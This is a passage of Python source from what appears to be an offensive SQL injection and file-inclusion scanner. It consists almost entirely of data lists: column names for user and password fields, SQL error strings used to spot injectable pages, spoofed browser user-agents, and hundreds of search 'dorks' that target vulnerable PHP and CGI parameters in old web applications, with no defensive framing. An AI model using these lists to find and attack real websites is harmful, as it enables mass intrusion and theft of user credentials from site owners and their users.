'user_uname', 'user_usernm', 'user_usernun', 'user_usrnm', 'userip', 'userlogin', 'usernm', 'userpw', 'usr2', 'usrnm', 'usrs', 'warez', 'xar_name', 'xar_pass'] sqlerrors = {'MySQL': 'error in your SQL syntax', 'MiscError': 'mysql_fetch', 'MiscError2': 'num_rows', 'Oracle': 'ORA-01756', 'JDBC_CFM': 'Error Executing Database Query', 'JDBC_CFM2': 'SQLServer JDBC Driver', 'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server', 'MSSQL_Uqm': 'Unclosed quotation mark', 'MS-Access_ODBC': 'ODBC Microsoft Access Driver', 'MS-Access_JETdb': 'Microsoft JET Database', 'Error Occurred While Processing Request' : 'Error Occurred While Processing Request', 'Server Error' : 'Server Error', 'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error', 'Invalid Querystring' : 'Invalid Querystring', 'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC', 'VBScript Runtime' : 'VBScript Runtime', 'ADODB.Field' : 'ADODB.Field', 'BOF or EOF' : 'BOF or EOF', 'ADODB.Command' : 'ADODB.Command', 'JET Database' : 'JET Database', 'mysql_fetch_array()' : 'mysql_fetch_array()', 'Syntax error' : 'Syntax error', 'mysql_numrows()' : 'mysql_numrows()', 'GetArray()' : 'GetArray()', 'FetchRow()' : 'FetchRow()', 'Input string was not in a correct format' : 'Input string was not in a correct format'} header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)', 'Microsoft Internet Explorer/4.0b1 (Windows 95)', 'Opera/8.00 (Windows NT 5.1; U; en)', 'amaya/9.51 libwww/5.4.0', 'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)', 'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]'] d0rk = [ 'artikelinfo.php?id=', 'index.php?=', 'profile_view.php?id=', 'category.php?id=', 'fellows.php?id=', 'downloads_info.php?id=', 'prod_info.php?id=', 'shop.php?do=part&id=', 'collectionitem.php?id=', 'band_info.php?id=', 'product.php?id=', 'viewshowdetail.php?id=', 'clubpage.php?id=', 'memberInfo.php?id=', 'tradeCategory.php?id=', 'transcript.php?id=', 'item_id=', 'news-full.php?id=', 'aboutbook.php?id=', 'preview.php?id=', 'material.php?id=', 'read.php?id=', 'viewapp.php?id=', 'story.php?id=', 'newsone.php?id=', 'rubp.php?idr=', 'art.php?idm=', 'title.php?id=', 'index1.php?modo=', 'include.php?*[*]*=', 'nota.php?pollname=', 'index3.php?p=', 'padrao.php?pre=', 'home.php?pa=', 'main.php?type=', 'sitio.php?start=', '*.php?include=', 'general.php?xlink=', 'show.php?go=', 'nota.php?ki=', 'down*.php?oldal=', 'layout.php?disp=', 'enter.php?chapter=', 'base.php?incl=', 'enter.php?mod=', 'show.php?corpo=', 'head.php?*[*]*=', 'info.php?strona=', 'template.php?str=', 'main.php?doshow=', 'view.php?*[*]*=', 'index.php?to=', 'page.php?cmd=', 'view.php?b=', 'info.php?option=', 'show.php?x=', 'template.php?texto=', 'index3.php?ir=', 'print.php?chapter=', 'file.php?inc=', 'file.php?cont=', 'view.php?cmd=', 'include.php?chapter=', 'path.php?my=', 'principal.php?param=', 'general.php?menue=', 'index1.php?b=', 'info.php?chapter=', 'nota.php?chapter=', 'readnews.php?id=', 'newsone.php?id=', 'product-item.php?id=', 'pages.php?id=', 'clanek.php4?id=', 'viewapp.php?id=', 'viewphoto.php?id=', 'galeri_info.php?l=', 'iniziativa.php?in=', 'curriculum.php?id=', 'labels.php?id=', 'story.php?id=', 'look.php?ID=', 'aboutbook.php?id=', '"id=" & intext:"Warning: mysql_fetch_assoc()', '"id=" & intext:"Warning: is_writable()', '"id=" & intext:"Warning: Unknown()', '"id=" & intext:"Warning: mysql_result()', '"id=" & intext:"Warning: pg_exec()', '"id=" & intext:"Warning: require()', 'buy.php?category=', 'pageid=', 'page.php?file=', 'show.php?id=', 'newsitem.php?num=', 'readnews.php?id=', 'top10.php?cat=', 'reagir.php?num=', 'Stray-Questions-View.php?num=', 'forum_bds.php?num=', 'game.php?id=', 'view_product.php?id=', 'sw_comment.php?id=', 'news.php?id=', 'avd_start.php?avd=', 'event.php?id=', 'sql.php?id=', 'select_biblio.php?id=', 'ogl_inet.php?ogl_id=', 'fiche_spectacle.php?id=', 'kategorie.php4?id=', 'faq2.php?id=', 'show_an.php?id=', 'loadpsb.php?id=', 'announce.php?id=', 'participant.php?id=', 'download.php?id=', 'article.php?id=', 'person.php?id=', 'productinfo.php?id=', 'showimg.php?id=', 'rub.php?idr=', 'view_faq.php?id=', 'hosting_info.php?id=', 'gery.php?id=', 'rub.php?idr=', 'view_faq.php?id=', 'artikelinfo.php?id=', 'detail.php?ID=', 'index.php?=', 'profile_view.php?id=', 'category.php?id=', 'publications.php?id=', 'fellows.php?id=', 'downloads_info.php?id=', 'prod_info.php?id=', 'shop.php?do=part&id=', 'collectionitem.php?id=', 'band_info.php?id=', 'product.php?id=', 'releases.php?id=', 'ray.php?id=', 'produit.php?id=', 'pop.php?id=', 'shopping.php?id='] d0rk += [ 'productdetail.php?id=', 'post.php?id=', 'viewshowdetail.php?id=', 'clubpage.php?id=', 'memberInfo.php?id=', 'section.php?id=', 'theme.php?id=', 'page.php?id=', 'shredder-categories.php?id=', 'tradeCategory.php?id=', 'product_ranges_view.php?ID=', 'shop_category.php?id=', 'transcript.php?id=', 'channel_id=', 'item_id=', 'newsid=', 'trainers.php?id=', 'news-full.php?id=', 'news_display.php?getid=', 'index2.php?option=', 'article.php?ID=', 'play_old.php?id=', 'newsitem.php?num=', 'top10.php?cat=', 'historialeer.php?num=', 'reagir.php?num=', 'Stray-Questions-View.php?num=', 'forum_bds.php?num=', 'game.php?id=', 'view_product.php?id=', 'sw_comment.php?id=', 'news.php?id=', 'avd_start.php?avd=', 'event.php?id=', 'sql.php?id=', 'news_view.php?id=', 'select_biblio.php?id=', 'humor.php?id=', 'ogl_inet.php?ogl_id=', 'fiche_spectacle.php?id=', 'communique_detail.php?id=', 'sem.php3?id=', 'kategorie.php4?id=', 'faq2.php?id=', 'show_an.php?id=', 'preview.php?id=', 'loadpsb.php?id=', 'opinions.php?id=', 'spr.php?id=', 'announce.php?id=', 'participant.php?id=', 'download.php?id=', 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'"id=" & intext:"Warning: session_start()', '"id=" & intext:"Warning: mysql_num_rows()', '"id=" & intext:"Warning: mysql_query()', '"id=" & intext:"Warning: array_merge()', '"id=" & intext:"Warning: preg_match()', '"id=" & intext:"Warning: ilesize()', '"id=" & intext:"Warning: filesize()', 'index.php?id=', 'buy.php?category=', 'index.php?page=', 'trainers.php?id=', 'article.php?ID=', 'play_old.php?id=', 'declaration_more.php?decl_id=', 'Pageid=', 'games.php?id=', 'newsDetail.php?id=', 'staff_id=', 'historialeer.php?num=', 'product-item.php?id=', 'news_view.php?id=', 'humor.php?id=', 'communique_detail.php?id=', 'sem.php3?id=', 'opinions.php?id=', 'spr.php?id=', 'pages.php?id=', 'chappies.php?id=', 'prod_detail.php?id=', 'viewphoto.php?id=', 'view.php?id=' ] d0rk += [ 'general.php?include=', 'start.php?addr=', 'index1.php?qry=', 'index1.php?loc=', 'page.php?addr=', 'index1.php?dir=', 'principal.php?pr=', 'press.php?seite=', 'head.php?cmd=', 'home.php?sec=', 'home.php?category=', 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'nota.php?pr=', 'padrao.php?destino=', 'index2.php?channel=', 'principal.php?opcion=', 'start.php?str=', 'press.php?*[*]*=', 'index.php?ev=', 'pagina.php?pre=', 'nota.php?content=', 'include.php?adresa=', 'sitio.php?t=', 'index.php?sivu=', 'principal.php?q=', 'path.php?ev=', 'print.php?module=', 'index.php?loc=', 'nota.php?basepath=', 'padrao.php?tipo=', 'index2.php?in=', 'principal.php?eval=', 'file.php?qry=', 'info.php?t=', 'enter.php?play=', 'general.php?var=', 'principal.php?s=', 'standard.php?pagina=', 'standard.php?subject=', 'base.php?second=', 'head.php?inc=', 'pagina.php?basepath=', 'main.php?pname=', '*inc*.php?modo=', 'include.php?goto=', 'file.php?pg=', 'head.php?g=', 'general.php?header=', 'start.php?*root*=', 'enter.php?pref='] d0rk += [ 'index3.php?open=', 'start.php?module=', 'main.php?load=', 'enter.php?pg=', 'padrao.php?redirect=', 'pagina.php?my=', 'gery.php?pre=', 'enter.php?w=', 'info.php?texto=', 'enter.php?open=', 'base.php?rub=', 'gery.php?*[*]*=', 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'gery.php?showpage=', 'gery.php?go=', 'enter.php?start=', 'press.php?lang=', 'general.php?p=', 'index.php?sekce=', 'index2.php?get=', 'sitio.php?go=', 'include.php?cont=', 'sub*.php?where=', 'index3.php?index=', 'path.php?recipe=', 'info.php?loader=', 'print.php?sp=', 'page.php?phpbb_root_path=', 'path.php?body=', 'principal.php?menue=', 'print.php?cont=', 'pagina.php?z=', 'default.php?mid=', 'blank.php?xlink=', 'sub*.php?oldal=', 'general.php?b=', 'include.php?left=', 'print.php?sivu=', 'press.php?OpenPage=', 'default.php?cont=', 'general.php?pollname=', 'template.php?nivel=', 'enter.php?page=', 'file.php?middle=', 'standard.php?str=', 'gery.php?get=', 'main.php?v=', 'down*.php?subject=', 'enter.php?sivu=' ] d0rk += [ 'path.php?option=', 'index.php?strona=', 'index1.php?choix=', 'index2.php?f=', 'press.php?destino=', 'pagina.php?channel=', 'principal.php?b=', 'home.php?include=', 'head.php?numero=', 'general.php?ref=', 'main.php?dir=', 'gery.php?cont=', 'principal.php?type=', 'file.php?param=', 'default.php?secao=', 'path.php?pageweb=', 'info.php?r=', 'base.php?phpbb_root_path=', 'main.php?itemnav=', 'view.php?pg=', 'pagina.php?choix=', 'default.php?itemnav=', 'index2.php?cmd=', 'layout.php?url=', 'index.php?path=', 'index1.php?second=', 'start.php?modo=', 'index1.php?get=', 'index3.php?my=', 'sub*.php?left=', 'print.php?inc=', 'view.php?type=', 'path.php?*[*]*=', 'base.php?adresa=', 'index3.php?oldal=', 'standard.php?body=', 'base.php?path=', 'principal.php?strona=', 'info.php?l=', 'template.php?left=', 'head.php?loc=', 'page.php?ir=', 'print.php?path=', 'down*.php?path=', 'sitio.php?opcion=', 'pagina.php?category=', 'press.php?menu=', 'index2.php?pref=', 'sitio.php?incl=', 'show.php?ki=', 'index3.php?x=', 'page.php?strona=', '*inc*.php?open=', 'index3.php?secao=', 'standard.php?*[*]*=', 'template.php?basepath=', 'standard.php?goFile=', 'index2.php?ir=', 'file.php?modo=', 'gery.php?itemnav=', 'main.php?oldal=', 'down*.php?showpage=', 'start.php?destino=', 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'layout.php?strona=', 'padrao.php?url=', 'sitio.php?oldal=', 'pagina.php?read=', 'index1.php?go=', 'standard.php?s=', 'page.php?eval=', 'index.php?j=', 'pagina.php?pr=', 'start.php?secao=', 'template.php?*[*]*=', 'nota.php?get=', 'index3.php?link=', 'home.php?e=', 'gery.php?name=', 'nota.php?eval=', 'sub*.php?abre=', 'index2.php?load=', 'principal.php?in=', 'view.php?load=', 'mod*.php?action=', 'default.php?p=', 'head.php?c=', 'template.php?viewpage=', 'view.php?mid=', 'padrao.php?addr=', 'view.php?go=', 'file.php?basepath=', 'home.php?pre=', 'include.php?goFile=', 'layout.php?play=', 'index1.php?subject=', 'info.php?middlePart=', 'down*.php?pg=', 'sub*.php?body=', 'index.php?option=', 'sub*.php?chapter=', 'default.php?t=', 'head.php?opcion=', 'nota.php?panel=', 'sitio.php?left=', 'show.php?include=', 'pagina.php?start=', 'head.php?choix=', 'index3.php?tipo=', 'index3.php?choix=', 'down*.php?channel=', 'base.php?pa=', 'nota.php?sekce=', 'show.php?l=', 'show.php?index=', 'blank.php?url=', 'start.php?thispage=', 'nota.php?play=', 'show.php?second=', 'enter.php?include=', 'principal.php?middle=', 'main.php?where=', 'padrao.php?link=', 'path.php?strona=', 'index3.php?read=', 'mod*.php?module=', 'standard.php?viewpage=', 'standard.php?pr=', '*inc*.php?showpage=', 'pagina.php?ref=', 'path.php?pname=', 'padrao.php?mid=', 'info.php?eval=', 'include.php?path=', 'page.php?subject=', 'sub*.php?qry=', 'head.php?module=', 'nota.php?opcion=', 'head.php?abre=', 'base.php?str=', 'home.php?body=', 'gery.php?module=', 'head.php?sivu=', 'page.php?inc=', 'pagina.php?header=', 'mod*.php?v=', 'home.php?doshow=', 'padrao.php?n=', 'index1.php?chapter=', 'padrao.php?basepath=', 'index.php?r=', 'index3.php?seccion=' ] d0rk += [ 'sitio.php?mid=', 'index.php?where=', 'general.php?type=', 'pagina.php?goto=', 'page.php?pa=', 'default.php?menue=', 'main.php?goto=', 'index1.php?abre=', 'info.php?seccion=', 'index2.php?pa=', 'layout.php?pageweb=', 'nota.php?disp=', 'index1.php?body=', 'default.php?nivel=', 'show.php?header=', 'down*.php?pag=', 'start.php?tipo=', 'standard.php?w=', 'index.php?open=', 'blank.php?menu=', 'general.php?nivel=', 'padrao.php?nivel=', '*inc*.php?addr=', 'index.php?var=', 'home.php?redirect=', '*inc*.php?link=', '*inc*.php?incl=', 'padrao.php?corpo=', 'down*.php?url=', 'enter.php?goto=', 'down*.php?addr=', 'sub*.php?j=', 'principal.php?f=', 'sub*.php?menue=', 'index2.php?section=', 'general.php?my=', 'head.php?loader=', 'general.php?goto=', 'include.php?dir=', 'start.php?header=', 'blank.php?in=', 'base.php?name=', 'nota.php?goFile=', 'head.php?base_dir=', 'mod*.php?recipe=', 'press.php?pr=', 'padrao.php?*[*]*=', 'layout.php?opcion=', 'print.php?rub=', 'index.php?pr=', 'general.php?seite=', 'pagina.php?numero=', '*inc*.php?pg=', 'nota.php?rub=', 'view.php?seite=', 'pagina.php?recipe=', 'index.php?pref=', 'page.php?action=', 'page.php?ev=', 'show.php?ir=', 'head.php?index=', 'mod*.php?pname=', 'view.php?ir=', '*inc*.php?start=', 'principal.php?rub=', 'principal.php?corpo=', 'padrao.php?middle=', 'base.php?pname=', 'template.php?header=', 'view.php?sp=', 'main.php?name=', 'nota.php?m=', 'blank.php?open=', 'head.php?dir=', 'page.php?pname=', '*inc*.php?k=', 'index.php?pollname=', 'head.php?oldal=', 'index1.php?str=', 'template.php?choix=', 'down*.php?pollname=', 'page.php?recipe=', 'template.php?corpo=', 'nota.php?sec=', 'info.php?*[*]*=', 'sub*.php?*[*]*=', 'page.php?q=', 'index1.php?type=', 'gery.php?y=', 'standard.php?lang=', 'gery.php?page=', 'index.php?action=', 'press.php?pname=', 'down*.php?v=', 'index3.php?second=', 'show.php?recipe=', 'main.php?pre=', 'file.php?numero=', 'print.php?str=', 'standard.php?link=', 'nota.php?OpenPage=', 'view.php?pollname=', 'print.php?l=', 'index.php?go=', 'standard.php?numero=', 'view.php?pr=', 'down*.php?read=', 'down*.php?action=', 'index1.php?OpenPage=', 'principal.php?left=', 'mod*.php?start=', 'file.php?body=', 'gery.php?pg=', 'blank.php?qry=', 'base.php?eval=', 'default.php?left=', 'gery.php?param=', 'blank.php?pa=', 'nota.php?b=', 'path.php?loader=', 'start.php?o=', 'include.php?include=', 'nota.php?corpo=', 'enter.php?second=', 'sub*.php?pname=', 'mod*.php?pageweb=', 'principal.php?addr=', 'standard.php?action=', 'template.php?lang=', 'include.php?basepath=', 'sub*.php?ir=', 'down*.php?nivel=', 'path.php?opcion=', 'print.php?category=', 'print.php?menu=', 'layout.php?secao=', 'template.php?param=', 'standard.php?ref=', 'base.php?include=', 'blank.php?body=', 'path.php?pref=', 'print.php?g=', 'padrao.php?subject=', 'nota.php?modo=', 'index3.php?loader=', 'template.php?seite=', 'general.php?pageweb=', 'index2.php?param=', 'path.php?nivel=', 'page.php?pref=' ] d0rk += [ 'press.php?pref=', 'enter.php?ev=', 'standard.php?middle=', 'index2.php?recipe=', 'blank.php?dir=', 'home.php?pageweb=', 'view.php?panel=', 'down*.php?home=', 'head.php?ir=', 'mod*.php?ir=', 'show.php?pagina=', 'default.php?base_dir=', 'show.php?loader=', 'path.php?mid=', 'blank.php?abre=', 'down*.php?choix=', 'info.php?opcion=', 'page.php?loader=', 'principal.php?oldal=', 'index1.php?load=', 'home.php?content=', 'pagina.php?sekce=', 'file.php?n=', 'include.php?redirect=', 'print.php?itemnav=', 'enter.php?index=', 'print.php?middle=', 'sitio.php?goFile=', 'head.php?include=', 'enter.php?e=', 'index.php?play=', 'enter.php?id=', 'view.php?mod=', 'show.php?nivel=', 'file.php?channel=', 'layout.php?choix=', 'info.php?body=', 'include.php?go=', 'index3.php?nivel=', 'sub*.php?include=', 'path.php?numero=', 'principal.php?header=', 'main.php?opcion=', 'enter.php?s=', 'sub*.php?pre=', 'include.php?index=', 'gery.php?pageweb=', 'padrao.php?path=', 'info.php?url=', 'press.php?ev=', 'index1.php?pg=', 'print.php?in=', 'general.php?modo=', 'head.php?ki=', 'press.php?my=', 'index1.php?pollname=', 'principal.php?to=', 'default.php?play=', 'page.php?g=', 'nota.php?pg=', 'blank.php?destino=', 'blank.php?z=', 'components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=', 'module_db.php?pivot_path= module_db.php?pivot_path="', '/classes/adodbt/sql.php?classes_dir= /classes/adodbt/sql.php?classes_dir="', 'components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=', 'com_extended_registration', 'smarty_config.php?root_dir= "smarty"', 'include/editfunc.inc.php?NWCONF_SYSTEM[server_path]= site:.gr', 'send_reminders.php?includedir= "send_reminders.php?includedir="', 'components/com_rsgery/rsgery.html.php?mosConfig_absolute_path= com_rsgery', 'inc/functions.inc.php?config[ppa_root_path]= "Index - Albums" index.php', '/components/com_cpg/cpg.php?mosConfig_absolute_path= com_cpg"', '[Script Path]/admin/index.php?o= admin/index.php";', '/admin/index.php?o= admin/index.php";', '/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= coppermine', '/components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]= com_extcalendar', 'admin/doeditconfig.php?thispath=../includes&config[path]= "admin"', '/components/com_simpleboard/image_upload.php?sbp= com_simpleboard"', 'components/com_simpleboard/image_upload.php?sbp= com_simpleboard"', '/modules/coppermine/themes/coppercop/theme.php?THEME_DIR= coppermine', 'mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=', 'zentrack/index.php?configFile=', 'inst/index.php?lng=../../include/main.inc&G_PATH=', 'pivot/modules/module_db.php?pivot_path=', 'include/write.php?dir=', 'includes/header.php?systempath=', 'becommunity/community/index.php?pageurl=', 'agendax/addevent.inc.php?agendax_path=', 'myPHPCalendar/admin.php?cal_dir=', 'yabbse/Sources/Packages.php?sourcedir=', 'zboard/zboard.php', 'path_of_cpcommerce/_functions.php?prefix' ] d0rk += [ 'dotproject/modules/projects/addedit.php?root_dir=', 'dotproject/modules/projects/view.php?root_dir=', 'dotproject/modules/projects/vw_files.php?root_dir=', 'dotproject/modules/tasks/addedit.php?root_dir=', 'dotproject/modules/tasks/viewgantt.php?root_dir=', 'My_eGery/public/displayCategory.php?basepath=', 'modules/My_eGery/public/displayCategory.php?basepath=', 'modules/4nAlbum/public/displayCategory.php?basepath=', 'modules/coppermine/themes/default/theme.php?THEME_DIR=', 'modules/agendax/addevent.inc.php?agendax_path=', 'modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=', 'modules/xgery/upgrade_album.php?GERY_BASEDIR=', 'modules/coppermine/include/init.inc.php?CPG_M_DIR=', 'shoutbox/expanded.php?conf=', 'library/editor/editor.php?root=', 'library/lib.php?root=', 'e107/e107_handlers/secure_img_render.php?p=', 'main.php?x=', '*default.php?page=', '*default.php?body=', '*index.php?url=', '*index.php?arquivo=', 'index.php?include=', 'index.php?visualizar=', 'index.php?pagina=', 'index.php?page=', 'index.php?p=', 'index.php?cont=', 'index.php?x=', 'index.php?cat=', 'index.php?site=', 'index.php?configFile=', 'index.php?do=', 'index2.php?x=', 'Index.php?id=', 'template.php?pagina', 'inc/step_one_tables.php?server_inc=', 'GradeMap/index.php?page=', 'admin.php?cal_dir=', 'path_of_cpcommerce/_functions.php?prefix=', 'contacts.php?cal_dir=', 'convert-date.php?cal_dir=', 'album_portal.php?phpbb_root_path=', 'mainfile.php?MAIN_PATH=', 'dotproject/modules/files/index_table.php?root_dir=', 'gery/init.php?HTTP_POST_VARS=', 'pm/lib.inc.php?pm_path=', 'ideabox/include.php?gorumDir=', 'cgi-bin/index.cgi?page=', 'cgi-bin/awstats.pl?update=1&logfile=', 'cgi-bin/awstats/awstats.pl?configdir', 'cgi-bin/ikonboard.cgi', 'cgi-bin/acart/acart.pl?&page=', 'cgi-bin/quikstore.cgi?category=', 'cgi-bin/ubb/ubb.cgi?g=', 'cgi-bin/hinsts.pl?', 'cgi-bin/bp/bp-lib.pl?g=', 'ccbill/whereami.cgi?g=ls', 'cgi-bin/telnet.cgi', 'cgi-bin/1/cmd.cgi', 'calendar.pl?command=login&fromTemplate=', 'encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=', 'events.cgi?t=', 'powerup.cgi?a=latest&t=', 'lc.cgi?a=', 'news.cgi?a=114&t=', 'biznews.cgi?a=33&t=', 'jobs.cgi?a=9&t=', 'articles.cgi?a=34&t=', 'events.cgi?a=155&t=', 'latinbitz.cgi?t=', 'newsdesk.cgi?t=', 'media.cgi?a=11&t=', 'reporter.cgi?t=', 'news.cgi?t=', 'newsupdate.cgi?a=latest&t=', 'deportes.cgi?a=latest&t=', 'news.cgi?a=latest&t=', 'whereami.cgi?g=id', 'auktion.pl?menue=', 'i-m/i-m.cgi?p=', 'vote.pl?action=show&id=', 'shop.pl/page=', 'newsdesk.cgi?a=latest&t=', 'fileseek.cgi?head=&foot=', 'cgi-bin/probe.cgi?olddat=', 'emsgb/easymsgb.pl?print=', 'app/webeditor/login.cgi?username=&command=simple&do=edit&password=&file=', 'csv_db/csv_db.cgi?fil e=file.extention', 'cgi-bin/jammail.pl?job=showoldmail&mail=', 'cgi-bin/bbs/read.cgi?file=', 'support_page.cgi?file_name=', 'index.php?include=', 'index.php?open=', 'index.php?visualizar=', 'main.php?x=', 'main.php?page=', 'index.php?meio.php=' ] d0rk += [ 'index.php?page=', 'index.php?action=', 'index5.php?configFile=', 'index5.php?page=', 'index5.php?content=', 'index5.php?x=', 'index5.php?open=', 'index5.php?m=', 'index5.php?site=', 'index5.php?cat=', 'index.php?d=', 'index.php?a=', 'index.php?b=', 'index.php?c=', 'index.php?e=', 'index.php?f=', 'index.php?g=', 'index.php?h=', 'index.php?i=', 'index.php?j=', 'index.php?k=', 'index.php?l=', 'index.php?m=', 'index.php?n=', 'index.php?o=', 'index.php?p=', 'index.php?q=', 'index.php?r=', 'index.php?s=', 'index.php?t=', 'index.php?u=', 'index.php?v=', 'index.php?x=', 'index.php?y=', 'index.php?z=', 'index.php?loc=', 'index.php?seite=', 'index2.php?d=', 'index2.php?a=', 'index.php?ir=', 'index.php?secao=', 'index2.php?b=', 'index2.php?c=', 'index2.php?e=', 'index2.php?f=', 'index2.php?g=', 'index2.php?h=', 'index2.php?i=', 'index2.php?j=', 'index2.php?k=', 'index2.php?l=', 'index2.php?m=', 'index2.php?n=', 'index2.php?o=', 'index2.php?p=', 'index2.php?q=', 'index2.php?r=', 'index2.php?s=', 'index2.php?t=', 'index2.php?u=', 'index2.php?v=', 'index2.php?x=', 'index2.php?y=', 'index2.php?z=', 'index5.php?inc=', 'index5.php?pg=', 'index5.php?lv1=', 'index.php?sub=', 'index.php?sub2=', 'index.php?pg=', 'index.php?lv1=', 'index.php?directfile=', 'index.php?funcion=', 'index.php?ll=', 'index.php?lnk=', 'index5.php?main=', 'index5.php?include=', 'index5.php?root=', 'index5.php?pagina=', 'index.php?theme=', 'index.php?acao=', 'index5.php?cont=', 'index5.php?pag=', 'index5.php?p=', 'index5.php?lang=', 'index5.php?language=', 'template.php?pagina=', 'llindex.php?sub=', 'index2.php?pg=', 'index2.php?lv1=', 'index2.php?sub=', 'index2.php?directfile=', 'index2.php?funcion=', 'index2.php?sub2=', 'index2.php?ll=', 'index2.php?lnk=', 'index5.php?body=', 'index5.php?visualizar=', 'index5.php?do=', 'index2.php?theme=', 'index2.php?acao=', 'index2:php?aa=', 'index3:php?aa=', 'index.php?server=', 'index.php?cal=', 'index.php?prefix=', 'index.php?root_PATH=', 'index.php?path=', 'index.php?gorumdir=', 'index2.php?cont=', 'index2.php?server=', 'index2.php?cal=', 'index2.php?prefix=', 'index2.php?root_PATH=', 'index2.php?path= AKI', 'exibir.php?abre=', 'exibir.php?page=', 'exibir.php?get=', 'exibir.php?p=', 'exibir.php?lang=', 'index2.php?gorumdir=', 'index2.php?pag=', 'index2.php?lang=', 'index2.php?language=', 'index2.php?content=', 'index.php?middle=', 'step_one_tables.php?server_inc=', 'grademade/index.php?page=', 'phpshop/index.php?base_dir=', 'admin.php?cal_dir=', '_functions.php?prefix=', 'contacts.php?cal_dir=', 'convert-date.php?cal_dir=', 'album_portal.php?phpbb_root_path=', 'mainfile.php?MAIN_PATH=', 'index_table.php?root_dir=', 'affich.php?base=', 'init.php?HTTP_POST_VARS=', 'lib.inc.php?pm_path=', 'include.php?gorumDir=', 'start_lobby.php?CONFIG[MWCHAT_Libs]=', 'index.php?configFile=', 'module_db.php?pivot_path=', 'index.php?lng=../../include/main.inc&G_PATH=', 'initdb.php?absolute_path=', 'step_one.php?server_inc=' ] d0rk += [ 'pipe.php?HCL_path=', 'write.php?dir=', 'new-visitor.inc.php?lvc_include_dir=', 'header.php?systempath=', 'theme.php?THEME_DIR=', 'index.php?pageurl=', 'expanded.php?conf=', 'addevent.inc.php?agendax_path=', 'Packages.php?sourcedir=', '_functions.php?prefix', 'addedit.php?root_dir=', 'view.php?root_dir=', 'vw_files.php?root_dir=', 'viewgantt.php?root_dir=', 'displayCategory.php?basepath=', 'default/theme.php?THEME_DIR=', 'upgrade_album.php?GERY_BASEDIR=', 'init.inc.php?CPG_M_DIR=', 'mod_mainmenu.php?mosConfig_absolute_path=', 'editor.php?root=', 'lib.php?root=', 'secure_img_render.php?p=', 'default.php?page=', 'arquivo.php?data=', 'word.php?id=', 'mod.php?mod=', 'index.php?plugin=', 'sendpage.php?page=', 'index.php?hl=', 'modules.php?op=', 'index.php?templateid=', 'article.php?sid=', '.php?my="', '.php?a="', '.php?f="', '.php?z="', '.php?zo="', '.php?la="', '.php?perm="', '.php?item_id="', '.php?f_content="', '.php?from="', '.php?mid="', '.php?lest="', '.php?east="', '.gov.br/index.php?arquivo=', 'index.php?ver=', '/contenido/classes/class.inuse.php', 'news.php?CONFIG[script_path]=', 'index.php?vpagina=', 'index.php?arq=', 'index.php?pg_ID=', 'index.php?pg=', 'home.php?page=', '*/newbb/print.php?forum=*topic_id=*"', '*/newbb_plus/*="', '*/news/archive.php?op=*year=*month=*"', '.php?abrir="', '.php?act="', '.php?action="', '.php?ad="', '.php?archive="', '.php?area="', '.php?article="', '.php?b="', '*/tsep/include/colorswitch.php?tsep_config[absPath]=*"', '.php?back="', '.php?base="', '.php?basedir="', '.php?bbs="', '.php?board_no="', '.php?body="', '.php?c="', '.php?cal_dir="', '.php?cat="', '/include/init.inc.php?CPG_M_DIR="', '/includes/mx_functions_ch.php?phpbb_root_path="', '/modules/MyGuests/signin.php?_AMGconfig[cfg_serverpath]="', '.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path="', '.php?subd="', '.php?subdir="', '.php?category="', '.php?choice="', '.php?class="', '.php?club_id="', '.php?cod.tipo="', '.php?cod="', '.php?conf="', '.php?configFile="', '.php?cont="', '.php?corpo="', '.php?cvsroot="', '.php?d="', '.php?da="', '.php?date="', '.php?debug="', '.php?debut="', '.php?default="', '.php?destino="', '.php?dir="', '.php?display="', '.php?file_id="', '.php?file="', '.php?filepath="', '.php?flash="', '.php?folder="', '.php?for="', '.php?form="', '.php?formatword="', '.php?funcao="', '.php?function="', '.php?g="', '.php?get="', '.php?go="', '.php?gorumDir="', '.php?goto="', '.php?h="', '.php?headline="', '.php?i="', '.php?inc="', '.php?include="', '.php?includedir="', '.php?inter="', '.php?itemid="', '.php?j="', '.php?join="', '.php?jojo="', '.php?l="', '.php?lan="', '.php?lang="', '.php?link="', '.php?load="', '.php?loc="', '.php?m="', '.php?main="', '.php?meio.php="', '.php?meio="', '.php?menu="', '.php?menuID="', '.php?mep="', '.php?month="', '.php?mostra="', '.php?n="', '.php?name="', '.php?nav="', '.php?new="', '.php?news="', '.php?next="' ] d0rk += [ '.php?nextpage="', '.php?o="', '.php?op="', '.php?open="', '.php?option="', '.php?origem="', '.php?Page_ID="', '.php?pageurl="', '.php?para="', '.php?part="', '.php?pg="', '.php?pid="', '.php?place="', '.php?play="', '.php?plugin="', '.php?pm_path="', '.php?pollname="', '.php?post="', '.php?pr="', '.php?prefix="', '.php?prefixo="', '.php?q="', '.php?redirect="', '.php?ref="', '.php?refid="', '.php?regionId="', 